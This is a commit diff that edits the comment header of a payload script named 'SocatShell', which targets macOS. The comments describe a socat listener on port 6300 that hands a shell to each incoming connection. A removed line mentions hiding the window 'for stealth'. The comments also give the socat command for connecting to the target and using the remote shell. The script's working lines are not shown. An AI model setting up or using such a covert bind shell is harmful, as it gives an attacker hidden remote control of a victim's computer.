Remote Shell Access with Socat
This commit is contained in:
@@ -1,18 +1,16 @@
|
||||
REM This script sets up a TCP listener using socat for remote shell access.
|
||||
REM It listens on the specified port (6300) and forks a new process for each incoming connection.
|
||||
REM The EXEC parameter specifies the command to execute when a connection is established.
|
||||
REM Proceeds to clear the terminal and minimize the window for stealth.
|
||||
REM It listens on the specified port (6300)
|
||||
|
||||
|
||||
REM Once this script is executed there will be an open listener on port 6300
|
||||
REM you will be able to use the command 'socat STDIN TCP:<remote_ip_address>:6300'
|
||||
REM this will establish a connection to the remote computer on port 6300
|
||||
REM and you should be able to interact with the remote shell
|
||||
|
||||
REM Requirement: i.p. of target MacOs and socat application
|
||||
REM can install using homebrew 'brew install socat'
|
||||
|
||||
REM once this script is executed there will be an open listener on port 6300
|
||||
REM you will be able to use the command 'socat STDIN TCP:<remote_ip_address>:6300'
|
||||
REM will establish a connection to the remote computer on port 6300
|
||||
REM and you should be able to interact with the remote shell
|
||||
|
||||
|
||||
REM Title: SocatShell
|
||||
REM Author: NARSTY
|
||||
REM Target: MacOS
|
||||
|
||||
Reference in New Issue
Block a user